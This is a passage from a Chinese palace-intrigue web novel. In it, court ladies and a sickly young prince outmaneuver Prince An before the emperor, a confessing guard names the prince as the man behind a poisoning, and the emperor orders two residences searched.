“第二,安王殿下说是为了百姓,可若是真要搜查镇国公府,动静肯定不小,一传十十传百,无需多久,京城的百姓便都知晓了。” “如今镇国公在边关打仗,而镇国公府却被皇上下令搜查了,明眼人一看就知晓这其中定有猫腻,恐怕会引起百姓的恐慌,动摇民心。” “若是没有搜出证据,此番举动岂不是没事找事?” “第三,安王殿下说是为了皇上,可若是真这般做,不仅可能会动摇军心,民心,甚至还可能离间了皇上与镇国公的君臣之情。” “如此全无好处,都是坏处的行径,安王殿下竟还敢说都是为了皇上着想,怎么说得出口!” 沈琼华一番慷慨激昂的话,将谢祁安说得哑口无言,一众大臣们更是目瞪口呆。 谢祁安眼中闪过一丝阴鸷,朝谢荣跪拜道:“父皇明鉴,儿臣绝无此意,儿臣一心都为父皇着想,并不曾想到这些。” 沈琼华立刻便道:“安王殿下究竟是顾不上还是想不到,就只有您自己清楚了。” “如果连这都想不到,那恕臣女多嘴,您还是闭嘴吧。” 第三百六十七章 五皇子求情 谢祁安面色一僵,看向沈琼华的眼中已是滔天怒火。 不过转瞬间,他便深吸几口气,迫使自己冷静下来。 他不能气得失去理智,被沈琼华牵着鼻子走。 如今最重要的不是与沈琼华争辩什么想到想不到之事,最重要的是今日必须要颠覆镇国公府。 几个呼吸之间,谢祁安原本已经快要被怒火侵占的头脑重新恢复了理智。 谢祁安重重朝居高临下的谢荣咳了三个响头,而后抬头道:“父皇,纵使嘉林县主说的有些道理,可这一切都是基于镇国公府是被冤枉的情况下。” “可若是镇国公府真的有问题,那就是及时止损。” “眼下边关战事紧急,宁可错怪,不可放过,父皇,我们赌不起呀,大越赌不起,您也也赌不起呀!” 沈琼华一直观察着皇上的神情,亲眼看见了皇上那原本动摇的神情在谢祁安的这句话之后,重新变得坚定了起来。 她便知晓,皇上已经下定了决心,今日这镇国公府是不得不搜了。 而这,也是在她的预料之内。 她早就料到今日镇国公府不可能逃过这次搜查。 上位者向来多疑,平日无事发生时都时时刻刻警惕着有可能对他有威胁的一切因素。 这一次,安王做出了这么一个局,皇上心里怎么可能无动于衷。 宁可错怪,不可放过。 这不仅是安王说服皇上的借口,恐怕也是皇上心中所想。 之所以表现出纠结犹豫的样子,冷眼看着他们一大殿的人为此事争吵不休,只怕也是怕落人口实,想要拉扯一番,最后‘迫于无奈’同意搜查。 不过,这也正是她所想要的。 皇上想要做出一副无可奈何的姿态,向天下人表明,并不是他不信忠臣。 而她想要将这一滩水搅浑,拖延时间,寻找到合适的机会‘逼’皇上不得不搜查安王府。 而这个机会,就快要来了。 沈琼华刚这样想,一个小太监便急匆匆从殿外跑了进来,低语向李顺全说了些什么。 李顺全顿时脸色大变,转头立马向皇上说了什么,皇上的脸色陡然沉了下去,手掌狠狠拍在龙椅扶手上,怒道:“胡闹!” 就在皇上话落的一瞬间,站在大殿末尾处的官员发生了骚动。 众人回头望去,只见久病未愈的五皇子出现在了大殿门口。 他一袭白衣,面色苍白,唇瓣干裂,身体羸弱,每走一步似是都耗费了极大的力气,却惊得众臣以及坐在龙椅上的皇上都瞪大了双眼,心中惊骇不已。 无他。 只因五皇子那细弱的手中握着一把长剑,而那剑正架在了他自己颈脖之上。 也许是五皇子的身体太过于虚弱,他拿着那把剑都有些费力。 行动间,用力不当,剑锋在白的近乎透明的颈脖上划出了一道极细的血痕,似在白玉上染上了一点红,令皇上的心顿时提了起来。 但他还记得这是在大殿之上,当即平复了一下自己的心绪,眼眸沉沉地盯着五皇子。 福公公以及裴凉川都在五皇子身后跟了进来,不过他们似是怕五皇子情绪激动之下失手伤了自己,都隔得远远的,不敢跟得太紧。 裴凉川看见沈琼华时,在无人看见的角落,悄悄朝沈琼华眨了眨眼。 沈琼华眉梢微微上扬,面上却看不出丝毫情绪。 等五皇子走至洛希瑶身旁时,皇上已经彻底收拾好了自己的情绪,嗓音威严中带着薄怒道:“五皇子,你不好好养病,以自己性命相挟,要来这大殿之上,是想要做什么!” 没有一个父亲能够看着自己的儿子拿性命威胁自己,更别说是皇上这种掌控力极强的帝王。 一向乖巧的五皇子做出这等行径,这显然是触及了皇上的禁区。 谢祁安就在五皇子不远处,看着五皇子颈脖上那道细微的血痕,眼眸微眯,手不受控制地抖动了一下。 若是这道血痕不这么浅就好了,若是再深一些……亦或是没有那个游医的出现,就这么悄无声息的被毒死了,他就不必费这么大周章了。 谢南渊死了,五皇弟也死了,这皇位舍他其谁。 可惜啊,终究是大意了,让他逃过了一劫。 谢祁安在心里惋惜的想着。 谢祁安巴不得五皇子早死,大殿之上的众位大臣却是胆战心惊,生怕五皇子一个不小心将自己给杀了。 皇上膝下皇子本就少,如今瑞王海生死未明,若是五皇子再出什么意外,那可真是…… 就在众人以为五皇子要做出什么惊骇之举时,方才还举着剑架在自己脖子上的五皇子手一松,将长剑扔下,而后扑通一声跪了下来。 双拳紧握,以头抢地,小小的身躯声音却清朗又坚定,“父皇,镇国公府绝不会做出通敌叛国之事,还请父皇明察!” 第三百六十八章 臣女有证据自证清白! 五皇子话音一落,大殿内又安静了一瞬。 谢荣面色阴沉,神色极为难看地盯着跪在地上求情,身体虚弱的五皇子,道:“你以性命相挟,甚至不顾规矩来到这,就是为了镇国公府?” “镇国公府在你心中有这么重要?你这样做有没有一丁点顾及你的身体和你母妃的处境?” 谢祁安察觉到谢荣话语里的震怒,唇角微勾,一副兄长的姿态道:“五皇弟,你年纪尚幼,不知晓这其中的内情,很容易被他人说的话左右,被人利用,这皇兄能理解。” “皇兄知晓你与平宁郡主来往亲近,镇国公府出事,你着急乃是人之常情。” “但你即便再是着急,也不能用这种极端的方法来威胁父皇啊。” “这段时间,父皇为了你的病情殚心竭虑,不知耗费了多少心思,听说顺贵嫔娘娘为了你的身体整日以泪洗面,你即便是为了父皇和顺贵嫔娘娘也不该如此行事啊!” 谢祁安眉头紧蹙,一脸恨铁不成钢的样子。 明面上听着像是劝慰的话,可又似在火上浇油一般,明里暗里指责五皇子不孝,丝毫不顾及皇上以及顺贵嫔。 暗示皇上在五皇子心中,镇国公府比他和顺贵嫔加起来都要重要的多。 这个儿子,岂不是给镇国公府养的! 果然,谢祁安话落,坐在龙椅上的谢荣神色更加愤怒了。 独属于帝王的威压与愤怒在空气中蔓延开来,与谢荣相隔最近的李顺全打了一个哆嗦。 暗暗瞥了谢荣一眼,又看了看下方神色倔强的五皇子和不怀好意的谢祁安,心中暗暗叫苦。 面上愈发面无表情,行动间恭敬无比。 五皇子听见谢祁安的话先是懵了一瞬,没想到谢祁安会这么说。 这些话简直句句都在挑动皇上的怒火,五皇子自然是不会承认的。 当即便否认道:“二皇兄,你未免想得太多,太上纲上线了,父皇母妃对我弟弟有生育之恩,教养之情,在弟弟心中自然是父皇和母妃是最要紧的。” “我此番行为并非是为了威胁父皇,而是为了让那些侍卫放我出来。” “父皇在宫内积威甚重,父皇让我好好修养,不许他人打扰,我若是不用此等方法,他们是断然不会放我出来的。” “而我之所以敢这样做,也是知晓父皇对我们兄弟几人向来宽厚,不会严惩我罢了。” “我到了父皇面前就把剑给扔了,怎么到了二皇兄的嘴里就成了威胁父皇了?” 谢祁安张口正欲反驳,五皇子便又道:“当然了,我相信二皇兄定然不是故意曲解我的意思的,想必我解释清楚了,二皇兄明白了,也就不会再误会了。” “也是我还年幼,考虑事情不太周全,二皇兄应当不会揪着不放吧?” 五皇子说着,还状似不安地看了谢祁安一眼,似是生怕他生气似的。 他这一番做派,将谢祁安准备的话到了嘴边硬是咽了回去。 见谢祁安不说话了,五皇子这才看向坐在龙椅上的谢荣,双手合十交叠,微微躬身解释道:“父皇息怒,儿臣也是一时情急,不得已才出此下策。” “身体发肤受之父母,儿臣是万万不敢做出以自身身体来威胁父母之事的。” “儿臣此番作为不过是想为镇国公府说一句话,不想镇国公府蒙冤罢了。” 说到此处,五皇子的神情突然激动起来,“父皇,镇国公长年在外征战,平宁郡主自幼便无双亲陪伴左右,若镇国公不是一心为大越,如何忍心放任唯一的的骨血自幼一人。” “再者,儿臣此番中毒,本已性命垂危,若是镇国公府真有叛国之心,平宁郡主又何必找来裴神医为儿臣医治,不该袖手旁观才是吗?” “若不是裴神医,儿臣怕是至今都不知晓自己并非重病而是中毒,儿臣既承了镇国公府的情,此事自然要为镇国公府说句公道话。” “父皇,镇国公多年来为父皇分忧,安定边关,万不能就因一个叛主的守卫便怀疑镇国公府啊,谁知道这人究竟是什么心思,万一是被人收买了呢?” 谢祁安闻言冷哼了一声,道:“五弟,你太过感情用事了,平宁郡主帮了你,你便一心觉得人家是好的,说不定人家就是靠着这种手段来收买人心呢。” “再者,事情怎么就这么巧,你中毒一事连太医院都未曾察觉出来,刚好平宁郡主认识一个游医,又刚好那个游医善毒术,看出你中了毒,还恰巧有法子解了你的毒……” “说不定这本就是平宁郡主的手笔,为的便是等待来日暴露之时,好让你替他说话呢。” 三言两语间,竟顺水推舟将下毒这顶帽子扣在了洛希瑶的头上。 洛希瑶即便早知晓谢祁安厚颜无耻,不择手段的小人嘴脸,也仍是被这话气得够呛。 五皇子自然不会听信谢祁安的话,事情的真相如何,他早就心知肚明。 三哥与他所中之毒皆来源于同一个地方,陈国。 因此下毒之人不是与越国交怨已久的陈国,潜伏在越国的细作所为,便是将三哥和他视为仇敌之人所为。 而整个大越内,最将三哥视为眼中钉肉中刺的人无疑是谢祁安。 但潜伏的细作能够同时对他和三哥下毒成功的几率实在是太低了,因此五皇子更偏向是谢祁安所为。 也只有他,凭借着周贵妃在后宫内十多年的经营,能够做到神不知鬼不觉给谢南渊和五皇子下毒。 五皇子心中一凛,当即朝谢荣拱手,“父皇……” 五皇子的话还未出口,就被谢荣挥手打断了。 谢荣此刻阴沉着脸,扫向洛希瑶的眼神已经带上了几分怀疑,嘴中的话确实对着五皇子说的。 “好了,五皇子,你如今身体还未痊愈,你想说的话朕听到了,你年岁尚幼,不该插手此事,回你的寝殿养病去吧。”谢荣沉声道。 “可是父皇……” 谢荣眼神锐利,眼含警告。 “是。”五皇子不甘应下。 福公公见状赶紧上前搀扶五皇子。 沈琼华看着这一幕,知晓时机已到,给洛希瑶递了个眼色。 洛希瑶会意,立刻一副勃然大怒的模样,冲谢祁安道:“安王殿下未免也太过欺人太甚,方才满口仁义道德,自称为国为民,非要搜查我镇国公府。” “现在又凭主观臆测,张口便说我给五皇子下毒,安王殿下可有证据?” “若是没有,你这番行为还真是让本郡主开眼了,行事言语全凭自己喜恶,幸而你只是一个王爷,若是……只怕我朝都要乱套了!” 这样的指责,对于谢祁安一个想要问鼎皇位的皇子无疑是致命的,谢祁安自然要为自己辩解。 “平宁郡主,你不必恼羞成怒,胡乱攀咬,本王只不过是依据事实,合理猜测罢了,不然你如何解释这诸多巧合!”谢祁安淡淡道。 他这番平淡的态度与洛希瑶形成了鲜明的对比,似是真的如他所说的一般问心无愧。 坐在龙椅上的谢荣似是也想听听洛希瑶是如何解释的,锐利的眼神看向洛希瑶。 洛希瑶涨红了脸,似是受到了极大的羞辱一般,道:“皇上,五皇子中毒一事绝对与臣女无关,臣女有证据可以证明臣女的清白!” “说不定还能顺藤摸瓜揪出这下毒之人!” 第三百六十九章 是安王殿下指使的! 洛希瑶话音一落,谢祁安的脸色猛地大变,随即很快便恢复正常。 不可能,母妃明明说都处理妥当了。 谢祁安眼神直勾勾地打量着洛希瑶,似是在判断她话里的真假。 坐在龙椅上的谢荣猛地挺直了腰。 “证据何在!” “证据便在如今的瑞王府!”洛希瑶道。 瑞王府? 众位大臣面面相觑,皆面露疑惑。 五皇子中毒一事怎会与瑞王扯上关系? 五皇子中毒之时,瑞王早已离京,难不成…… 众人心中有多种猜测,谢荣也面露困惑。 洛希瑶跪在地上,不卑不亢地道:“不知皇上是否还记得裴神医给五皇子看诊时说的话。” 见谢荣眉头紧蹙,洛希瑶提醒道:“裴神医说五皇子所中之毒与瑞王殿下曾经所中之毒来自同一个地方。” 洛希瑶的话犹如一道惊雷在群臣之中炸开。 大臣们不敢出声打断皇上的问话,只能用震惊的眼神看向四周的人。 瑞王殿下何时中毒的? 他们怎么未曾听说过? 这两种毒来自同一个地方,莫非…… 谢荣恍然大悟,“可这与你说的证据有何关系?” “这便是臣女要说的了。”洛希瑶道。 “臣女那日在宫中知晓瑞王殿下曾经中毒一事,出宫之后愧疚难当。” “臣女自幼独自留京,瑞王殿下向来对臣女多有照拂,可臣女却连他曾经中毒都不知晓。” “于是臣女便去了瑞王府,想要问问瑞王殿下府中的侍卫可有知晓这其中内情的。” “臣女幼时时常出入镇国公府,瑞王殿下身边的侍卫都识得臣女。” “臣女死缠烂打,绞尽脑汁,才终于从一侍卫口中得知,当初给瑞王殿下下毒的侍卫已经抓到了,现下正关押在瑞王府中……” 见谢荣神色有异,洛希瑶连忙接着道:“不过再多的,那下毒的侍卫是否被盘问,可有交代了什么,臣女便问不出来了。” “瑞王府的侍卫说不能告知臣女,不过臣女想,若是皇上召瑞王府的侍卫前来询问,他们定会如实相告的。” “臣女想着,既然瑞王殿下与五皇子所中之毒来源于同一个地方,且下毒手法都如此隐秘,想必大概率是出自同一拨人之手。” “能揪出给瑞王下毒之人,臣女的清白自然可洗清。” “皇上,这毒真的不是臣女下的,臣女给瑞王殿下下毒有何好处,还请皇上明鉴。” 洛希瑶说了这么多话,嗓子都快干了。 而谢祁安听完洛希瑶的话则是猛地攥紧了拳头,随后又慢慢松开。 不会的,那个侍卫早就被他让人弄死了,怎么可能会死而复生,出来作证。 这一切,不过是洛希瑶的借口。 谢荣看着跪在地上的洛希瑶,眼神晦暗不明,极快地扫过谢祁安后收回视线。 开口道:“既然如此,那便按你说的办,李顺全!” “是!奴才这就去。”李顺全立刻会意,下去安排人前往瑞王府。 所有人都在等着所谓的人证,大殿之上安静无比。 谢荣坐在上首,闭目养神。 洛希瑶朝沈琼华眨了眨眼,沈琼华给了他一个赞许的眼神。 两人之间的眉眼官司被一直保持警惕的谢祁安发现了,他心里顿时升起一丝不好的预感。 只是李顺全已经派人前去瑞王府了,如今要再做什么,也已经来不及了。 时间缓缓淌过,李顺全再进来时,所有人的目光都聚集在了他……的身后。 暗一带着一个打扮潦草,胡子邋遢,面色灰败的男人跟在李顺全的身后进来了。 待走近后,二人一道齐齐扣下跪拜,“奴才参见皇上。” “抬起头来。”谢荣沉声道。 二人缓缓抬头。 谢祁安盯着那胡子邋遢的男人,眉头拧紧。 此事皆是交由心腹去办的,他并不曾见过被收买的那个侍卫,因此也不知晓此人到底是不是由人假扮的。 不能确定身份,在眼下这种情况,会令他十分被动。 “你们谁是给瑞王下毒之人?” 明明是询问的语气,可是谢荣的眼神却已经落在了那名胡子邋遢的男子脸上。 男子只感觉如芒在背,被吓破了胆子,立刻便磕头,一边磕,一边涕泗横流地求饶道:“皇上饶命,皇上饶命啊,奴才是一时鬼迷心窍,奴才不敢了,奴才不敢了啊!” 谢荣看男子的眼神犹如看一个死人,威严的嗓音响彻大殿,“说!到底是谁指使你的!若再敢隐瞒,朕便让人将你削成人彘,让你求生不得求死不能!” 那男子闻言,更是吓得浑身发抖,道:“是……是安王殿下,是安王殿下指使的!是安王殿下让奴才给瑞王殿下下毒的!” 声音虽轻,却在这安静的大殿内尤为清晰。 皇子间储位之争的阴私手段,就这样摊开在皇上,在百官面前。 第三百七十章栽赃? 谢祁安脸色骤变,即便是他在洛希瑶提及这个侍卫存在时,便知是冲着他来的,可是当真的在父皇面前揭露了,心中还是止不住惊骇。 他压住心中的些许慌乱,扑通一声跪在地上。 面上满是惊慌与迷茫,声音高扬中又带着一丝颤抖,似是十分意外,又似是想要竭力证明自己的清白。 “父皇!还请父皇明鉴!儿臣绝没有做过这等事情啊!” “儿臣从前虽与三弟有过些许矛盾,但那都是小打小闹,断断上升不到要害人性命的地步。” “父皇,儿臣的脾气秉性您最是清楚不过,儿臣是断然做不出这等事情的。” “父皇万不能听信这来历不明的小人之言啊!” 说完,谢祁安便掌心向下,头磕在了大殿的地砖上。 谢祁安面色慌乱,但心中却并没有表现出来了那般惊慌,只因他心中笃定此人洛希瑶和沈琼华假扮的,而真正下毒的侍卫早就被他的人给杀了。 只是他没想打那侍卫接下来的话,很快就打了他的脸。 那男子方才被谢荣说的要被削成人彘的话吓坏了,连死都不能死个痛快,此刻见谢荣的目光又落到了他的身上,当即吓得两股战战。 一边磕头,一边哭泣道:“皇上饶命!皇上饶命啊!在皇上面前,奴才岂敢说半句假话!” “奴才原本是瑞王府最外围的低等侍卫,为人胆小怯懦,所图不过吃饱穿暖罢了。” “两年多前,瑞王殿下从边关战场上重伤而归,伤势凶险,太医彻夜守在瑞王府。” “足足月余,瑞王殿下方才能下榻走动,瑞王府的众人也都松了一口气。” “可一日晚上,有个男子找到奴才,给了奴才一瓶毒药和二百两黄金,要奴才将这毒想法子掺进瑞王殿下的吃食中,让瑞王殿下服下。” “还称这毒一时半会不会发作,事成之后可以送奴才,这样奴才辞别瑞王府也不会有人生疑。” “奴才……奴才长这么大,从来没见过那么多金子,一时鬼迷心窍,便答应了。” “事成之后,奴才便向瑞王府请了辞,连夜便出了京城,来到了与那男子约定的地方。” “奴才有一交好的友人,亲如兄弟,奴才与他约好让他在那处等奴才,二人一道离开。” “谁知等人时,奴才撒个尿的功夫,回来就见几个黑衣人将奴才的友人杀了,还将那原本放在一旁让友人看守的装着金子的包袱给拿走了。” “奴才害怕极了,根本不敢声张,怕引来杀身之祸,不敢回京,更不敢回老家,又身无分文,只得一路流浪。” “皇上,奴才知晓的,奴才都说了,还请皇上饶奴才一命,饶奴才一命啊!奴才不想死啊!” 原来是这样! 谢祁安听完了事情的来龙去脉,手指微僵,心中暗恨不已。 这群废物! 杀个人都杀不明白,害得如今留了这么个把柄! 谢祁安心中明了,只怕此人真的是心腹安排的下毒的侍卫,只不过即便他是,自己也是万万不得承认的。 只不过,此人在此刻现身于京城,未免太巧了一些…… 谢祁安目光转动间,眼神落在了一旁负手而立的沈琼华身上。 沈琼华察觉到了谢祁安的视线,微微侧头,二人隔着人群四目相对。 沈琼华微微勾起嘴角,露出一个挑衅的笑容。 没错,沈琼华确实是早就知晓这个侍卫的存在,也是她特意将人留在今日之用的。 一年多前,她初初告知谢南渊他中毒一事,便已经意识到恐怕是瑞王府内的人手出了问题。 只不过她当时与谢南渊不过是泛泛之交,二人连合作都未达成,自然不好插手询问瑞王府中内鬼一事。 且她相信,谢南渊会将事情处理好的。 便将此事抛之脑后。 再次提及此人时,已是谢南渊刚出征不久。 有一日,暗一一脸纠结的站在门外徘徊,她看不下去,便将人叫进来询问。 这一问才知,当初给谢南渊下毒之人竟然逃了,谢南渊派了一队暗卫暗中搜捕,查到了尸体后,却又发现尸体的骨骼大小与所怀疑之人不符合。 这才又重新细细探查,终于在时隔一年多之后,才找到了此人的下落。 只不过不凑巧,人是前脚刚找到的,谢南渊后脚就出征了,连个拿主意的人都没有。 暗一嘴上说没有人拿主意,不知该怎么办,可眼神却一直若有似无地瞥向她。 沈琼华即便是再蠢也知晓暗一此番用意,这是要特意来询问她的意思的。 也不知晓是不是谢南渊出征之前交代了什么,沈琼华能察觉出那些在待在沈府的暗卫,对她的态度更恭敬了。 就连暗一,连瑞王府的账簿都会拿来给她过目。 连账簿都管了,此人牵涉到谢祁安,沈琼华就更不放心撒手不管了。 而且她正缺一个理由。 于是她便交代暗一先不要轻举妄动,暗中跟着,等待适当的时机再将人绑来京城。 后来,当洛希瑶拿出谢祁安准备的那些栽赃的书信时,沈琼华这才下令将人绑来,关押在瑞王府。 并且特意下令了不要让人审问。 为的,便是今日。 龙椅上的谢荣听完男人的话,一脸风雨欲来的样子,手死死握着龙椅把手,手背青筋暴起。 暗一此刻上前一步道:“皇上,此人离开京城之后,既未归乡,也未曾与其他友人往来,一直在外面流浪,奴才们也是寻找了很久,足足有一年多,才找到此人的踪迹。” “只不过王爷出征,不在府中,因此才将人囚禁在瑞王府内,想着等待王爷回来再行处置。” “不曾想因着平宁郡主的事情提前爆发了,还请皇上为我家王爷做主啊,我家王爷可是差点就没了半条命,若不是运气好遇上了裴神医,只怕早就成了……成了……” 说到此处,暗一一个八尺男儿生生挤出了两滴泪来。 “渊儿……你竟受了这般委屈,都不曾与父皇说过,父皇先前还真以为你只是找到了医术更好的大夫,从不曾想到你是中毒了。”谢荣动容道,眼角似是沁出些许泪光。 谢祁安见势不对,连忙道:“父皇,你万不能相信他们的一面之词啊,儿臣没有做过这种事情。” 说着,他看向那胡子邋遢的男人道:“你口口声声说是本王指使的,但你话中却漏洞百出。” “你说是一个男人给了你毒药和二百两黄金,那人既要收买人下毒,自是不会暴露出身份让你知晓,你凭什么说那是本王的人?” “莫不是……有人指使你这般说,目的便是要将这事情栽赃到本王身上!” 第三百七十一章搜查安王府 那男人此时早已慌乱无措,他知晓若是安王不承认,找不到罪魁祸首,那么他将一个人承受皇上的怒火。 男人大声道:“皇上!皇上!奴才绝不敢欺瞒皇上,奴才之所以知晓那人是安王殿下的人,是因为奴才接下此事后,心中慌乱。” “有一次在街上乱窜之时,正巧碰到了那人,奴才当时下意识地便躲了起来,悄悄跟在他身后,发现他从后门进了安王府。” “奴才这才断定是安王殿下指使的奴才给瑞王殿下下毒。” “皇上,奴才所言,句句属实啊皇上!” 谢祁安冷笑一声,道:“就算你说的属实,那也不能证明就是本王下的手。” “那人既然溜得进瑞王府,自然也能想法子混进本王的安王府。” “怎么就那么巧让你给看见了进了安王府?这焉知不是栽赃嫁祸的手段,目的便是将此事栽赃到本王的头上。” 他看向皇上,道:“父皇,儿臣属实是冤枉啊,安王府的人员都记录在册,父皇若是不相信,儿臣愿让此人辨认儿臣府中的所有人,以证儿臣清白!” 他既这样说,那人就必定不在安王府的人员名册上。 再者,各个世家贵族都会培养一些暗卫亦或是死士,暗中做一些见不得光的事情,那所谓的人员名册压根没法取信于人。 这个道理,谢祁安知道,百官知道,皇上更是知晓。 但谢祁安要的,便是表明他的态度。 洛希瑶都要被谢祁安的厚颜无耻给气笑了,道:“这每日往来出入安王府的人那么多,又怎知那人一定是在安王府里面呢?安王殿下此话毫无取信之处。” 谢祁安冷哼,道:“那依平宁郡主所言,应当如何呢?不如再问问此人还有何别的证据,若是仅凭口说,可栽赃不了本王。” “总不至于,有胆子帮人给皇子下毒,却不留一点证据把柄吧?”谢祁安一边说着,嘴角微微弯起一抹几不可查的弧度。 胡子邋遢的男人傻了眼。 他是第一回做这种事情,当时应下来心慌得要死,哪里还想得到留什么证据。 谢荣闻言看向男人,沉声问道:“你可还有别的证据?” “没……奴才没有……”男人的脖子犹如被掐住了一般,“但是皇上,奴才说的都是真的啊!奴才真的看到那人进了安王府啊!” 男人满是慌张,谢祁安却恰似得到了什么保障一般。 他重新看向谢荣,道:“父皇,儿臣觉得此人的话压根不可信,说不定这一切都是受别人指使的,给三弟下毒,而后又栽赃到儿臣身上。” “目的便是要挑拨三弟与儿臣的关系,意图达到他那不为人知的目的。” “儿臣记得,三弟幼时,儿臣与三弟的关系十分好,可自三弟跟镇国公去了军营之后,关系便直转而下。” “此番手段,用了多少次,着实是不太清楚……” 这话里话外的意思,竟是要攀蔑镇国公挑拨瑞王与安王之间的关系,使得兄弟离心,父子生疑,好挑唆瑞王夺取太子之位。 这洛希瑶如何能忍,当即便再也维持不了贵女的风度,一脚就要朝谢祁安踹去。 破口大骂道:“你放屁!生的一张嘴就知道到处攀蔑!” “你与瑞王殿下关系不好,是因为什么你自己心里不清楚吗?竟将锅扣在我父亲头上,简直是无耻至极!” 谢祁安一边闪躲洛希瑶,一边言辞凿凿道:“平宁郡主,你身为一女子,竟敢在父皇面前对本王拳打脚踢,如此以下犯上,不知礼教,你眼里可还有父皇!还有本王!” 洛希瑶气得紧追不放,场面一度混乱不堪。 沈琼华瞥见皇上眉眼间的些许厌烦,连忙赶在皇上出口之前,上前将洛希瑶给保住了,低声在她耳边道:“别被他激昏了头,忘了正事!” 洛希瑶身体一僵,手脚泄了力,沈琼华这才将她给放开了。 谢祁安停止了躲闪,扑通一声跪了下来朝皇上道:“父皇,儿臣所言皆是儿臣心中所想。” “镇国公上有挑唆皇子兄弟离心之嫌,下有通敌叛国之疑,委实令人怀疑,为保险起见,儿臣请求父皇搜查镇国公府。” 这闹了这么一大通,谢祁安还不忘回归正题,长剑直指镇国公府。 他跪,洛希瑶也跪。 洛希瑶仰着头一脸倔强道:“皇上,臣女觉着不公平。” “哦,如何不公平?”谢荣声音淡淡的,听不出喜怒,似是没受影响一般。 但李顺全觉得皇上应当是气昏了头,对于眼前的棘手局面,做到了淡然以待,无悲无喜。 洛希瑶道:“若是要搜查镇国公府,臣女觉着安王府也理当接受搜查。” 谢祁安眼眸微眯,脸上染上一丝薄怒,警告道:“平宁郡主,你不要太过放肆,本王的王府又岂是能随意搜查的!” 洛希瑶毫不客气的回怼道:“安王府不能随意搜查,我镇国公府就能随意搜查了?” “同样都是只有人证,没有物证,凭什么安王你说此人不可信就不可信,你说要搜查镇国公府就要搜查,这事实真相都由安王你一张嘴编造不成?” “总不能这同样的情况,安王一定要搜查镇国公府,却不肯让人搜安王府,如此行事,未免也太过份了些。” 第三百七十二章 他才是中计的那一个 谢祁安气极,指着洛希瑶道:“平宁郡主,这两者岂可混为一谈,你休要胡搅蛮缠!” “怎么不可混为一谈!”洛希瑶反驳道。 “安王殿下偏信那守卫,头说无凭,却因他口头所谓的书信,坚持要搜查我镇国公府。” “而此人同样也说亲眼看见那收买他下毒之人进了安王府,安王殿下却不肯让人搜查安王府。” “着实好没道理,难道只许州官放火不许百姓点灯?” “还是说……下毒一事果真是安王做的,安王拒不肯接受搜查,实为心虚?” “你!”谢祁安气得咬牙切齿,“休要胡言,本王向来坦坦荡荡,行的端做得正,岂容你随意攀蔑!” 洛希瑶冷哼,看向坐在龙椅上的谢荣道:“启禀皇上,今日两桩事情加在一起,臣女知晓皇上也是左右为难。” “皇上乃是明君,做不出没有确凿证据就搜查臣子府邸之事,不然也不会现在还不曾下令搜查镇国公府,臣女心中万分感激皇上的信任。” “臣女虽不情愿府邸被搜查,却也并非不通情理之人,更何况臣女自认问心无愧,不愿死守规矩,免得日后惹人非议。” “安王殿下信不过我镇国公府,我也信不过安王殿下。” “幼时家父常年在外征战,只余臣女一人在京中,瑞王殿下见臣女可怜,幼时对臣女照顾颇多,说句僭越的话,在臣女心中,是将瑞王殿下视为亲兄长的。” “瑞王殿下中毒一事,若是没有线索也就罢了,如今有了,臣女自是要一追到底的。” “不如这样,镇国公府与安王府一道接受搜查,就当是安了皇上以及众位大臣的心。” “便是镇国公府内没有搜出此守卫所说的证据,我镇国公府也绝不因搜府一事多言半个字,皇上以为如何?” 洛希瑶先将一顶高帽子给皇上戴上,再退一步,表明只要安王府一道,镇国公府愿意主动被搜查。 事情走到如今这个地步,所有人心中都分明。 那守卫说得言辞凿凿,皇上心中并非没有疑虑。 之所以对安王搜查镇国公府的请求久不应允,不过是因为没有握在手中的证据,怕到时若真是错怪,没有办法向百姓们,向军中的士兵,向远在边关的镇国公交代。 若真是冤枉的,镇国公在边关的战场上为护大越安稳浴血奋战,而效忠的君主却反而怀疑他通敌叛国…… 此事若是传扬出去,委实令人心寒。 便是那些百姓和将士们也会觉得皇上任听任信,是个昏君。 皇上不愿意承受这个骂名,却又想知道真相。 洛希瑶此刻递上的这个台阶正合皇上的意。 这因帝王怀疑而下令搜查镇国公府,与镇国公之女平宁郡主为证镇国公府清白自请搜查,以表忠心,两者之间,皇上会选哪个都不消说。 更何况,瑞王和五皇子接连中毒,皇上心中对安王真的没有怀疑吗? 不见得吧。 洛希瑶提出的这个主意,正中皇上的心坎。 谢荣听罢,眼神扫过跪着的谢祁安。 洛希瑶见状立马冲谢祁安道:“安王殿下,你不是想要搜查我镇国公府吗?如今我答应了,你可敢应下?” “只要你安王府内没有搜出瑞王殿下和五皇子所中之毒,我便相信下毒之事与你无关,不然……呵!” 谢祁安与洛希瑶四目相对,眼中闪过一丝慌乱,似是垂死挣扎般,道:“本王问心无愧,凭何要听从你的话。” 洛希瑶见他一副做贼心虚之状愈发激动了,直接向皇上道:“还请皇上定夺!” 坐在龙椅上的谢荣轻咳一声,沉声道:“既然如此,那便按平宁郡主说的办,届时孰是孰非自当一目了然。” 谢祁安似是还想再挣扎一番,开口劝道:“父皇,并非是儿臣不敢应下,只是如今边关未定,这一日之内又是封禁镇国公府又是搜查安王府的,恐会引起百姓恐慌,以为边关战事有变。” “这……”谢荣有些迟疑。 沈琼华见状立刻上前道:“皇上,安王殿下的忧虑臣女倒是有个法子。” “哦,嘉林县主有何好办法?”谢荣道。 “皇上,不如就对外宣称,边关接连收复城池后,陈国贼心不死,派了奸细混入了京城,混进镇国公府想要挟持平宁郡主威胁远在边关的镇国公。” “皇上您收到消息后,担心平宁郡主安危,遂下令接平宁郡主入宫,并封禁镇国公府,令人逐一排查。” “谁知奸细做贼心虚,竟有一人翻墙逃跑,疑似逃进了安王府中。” “遂皇上派人仔细搜查镇国公府与安王府,避免有漏网之鱼……” “皇上觉得这个理由如何?” 如此一来,既不会引起百姓的恐慌,也能顺理成章的搜查镇国公府与安王府,将真实目的给掩盖过去。 即便是真的错怪了任何一方,事情没有闹大,也不会叫皇上失了颜面。 至于这大殿之上百官皆在? 皇上都要找法子遮掩一番,他们还敢将皇上的遮羞布给掀了不成,最多私下议论一番,识时务的很,只要不叫那些百姓们知道就好。 百姓间的人云亦云,才最是可怕的。 谢荣略思索一番,看着沈琼华,意味深长道:“嘉林县主果真聪慧,此举甚好。” “安王,你可还有何异议?” 谢祁安拱手,支支吾吾道:“儿臣……儿臣没有……” “好,既如此,李顺全!” “奴才在!”李顺全上前道。 “传朕旨意,近日京中陈国奸细猖獗,竟潜入镇国公府想要挟平宁郡主以令镇国公,被发现后慌不择路之下,一部分逃至安王府,遂现派御林军搜查镇国公府和安王府,务必要将奸细全部抓获。” 